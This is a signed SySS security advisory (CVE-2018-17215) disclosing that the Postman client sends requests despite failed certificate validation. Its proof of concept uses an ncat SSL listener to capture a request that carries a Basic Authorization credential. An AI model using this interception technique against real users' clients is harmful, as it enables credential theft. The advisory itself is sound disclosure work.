-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2018-016 Product: Postman (standalone) Manufacturer: Postman Affected Version(s): 6.3.0 and older Tested Version(s): 6.2.2 x64 (Windows and Linux), 6.3.0 Vulnerability Type: Improper Certificate Validation (CWE-295) Risk Level: Medium Solution Status: Open Manufacturer Notification: 2018-08-01 Solution Date: - Public Disclosure: - CVE Reference: CVE-2018-17215 Author of Advisory: Ludwig Stage, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: Postman is a feature-rich REST client. The manufacturer describes the product as follows (see [1]): "Postman is the most complete toolchain for API development * The most-used REST client worldwide * Designed from the ground up to support the API developer * Intuitive user interface to send requests, save responses, add tests, and create workflows" Due to improper certificate validation, Postman is vulnerable to man-in-the-middle attacks. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: Postman validates the server's certificate and presents an error if the certificate is not valid. Unfortunately, the HTTP request is sent anyway. Only the response is not displayed. Thus, all contained information of the HTTP request is disclosed, for example user credentials. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): 1. Open ncat SSL listener: ncat --ssl -l 8888 -k 2. Send GET request to URL in Postman: https://10.0.0.2:8888/postmanssl 3. Get error in Postman: "Could not get any response There was an error connecting to https://10.0.0.2:8888/postmanssl. Why this might have happened: The server couldn't send a response: Ensure that the backend is working properly Self-signed SSL certificates are being blocked: Fix this by turning off 'SSL certificate verification' in Settings > General Proxy configured incorrectly Ensure that proxy is configured correctly in Settings > Proxy Request timeout: Change request timeout in Settings > General" 4. See HTTP GET request via ncat anyway: GET /postmanssl HTTP/1.1 cache-control: no-cache Postman-Token: 606e036d-9b05-449d-9347-c511ef322d28 Authorization: Basic bmljZTp0cnk= User-Agent: PostmanRuntime/7.2.0 Accept: */* Host: 10.0.0.2:8888 accept-encoding: gzip, deflate Connection: keep-alive ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: More Information: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2018-07-17: Vulnerability discovered 2018-08-01: Vulnerability reported to manufacturer 2018-08-08: Contacted the manufacturer again : Patch released by manufacturer : Public disclosure of vulnerability ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for Postman https://www.getpostman.com/postman [2] SySS Security Advisory SYSS-2018-016 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2018-016.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/news/responsible-disclosure-policy/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Ludwig Stage of SySS GmbH. E-Mail: ludwig.stage@xxxxxxx Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Ludwig_Stage.asc Key Fingerprint: C2FF F40D FC78 791E EF81 20DF 4B57 48C9 53A5 EE5E ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS Web site. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en -----BEGIN PGP SIGNATURE----- iQIzBAEBCgAdFiEEwv/0Dfx4eR7vgSDfS1dIyVOl7l4FAlujRGMACgkQS1dIyVOl 7l6s5BAA0E7OrF4jRnExUT9rnSnr2+QcsI81iCnHwMZNaxlxVANmw638vaBlRv0t F1lEZGSA0mRWcLeObiZxzygZj9dgXBZugs9/Si1OKbE0IqraPvgfMV3hsVYUTSRf iIMFKbVRKuul/xJctw9nybPzPnbzUjAUyY+Vyu00IrAyCT41ZcXSqg3Xg9TeUDr7 CubMQNuXKawCNqGy/v9bXxBxzRz6Oldz4x7w3cWcgVmyRhdfI1twUtEdChX97AvO 6e3NQZcz31WJ/9YktNptwFUhD3s3I7tFc/4dhu6D2peUMFGD/gSbd8NduT72AVJH fpRl/rROx/JMamZfZ3J+EDtWmqq0jZ1e2HJAd7uHx58CIoC/HiuWndZQ5sUXfbND +QI6V7JKz24ffNNRHYfGvHXInwViCsFHgJUFok6IAyDmo2bQO15YLzeA+OLyGUr/ NcbX49QQsXXWty0tY3TmNKOHm1Z6v5yhgxrkaE61n05zuUh2udfEyjVvX5pjdrkw VZB8u6pkmdaS3nJ/IH9F9J9NHU1c0gz/WtCQUXKWQXW3BAqA1tOyZHTXTDSA0UPv TVuibVKg9puU13Sdy6vzf/hVVvIikonVFrSd6Hs4lWj9P5nBMtYyI1IEcOJLUYWi nOhRD5pw3z1RrEaZWlAxqsGwiBMx+FW8HZD2X2nSV+dJh1Xqz58= =9Tnk -----END PGP SIGNATURE-----
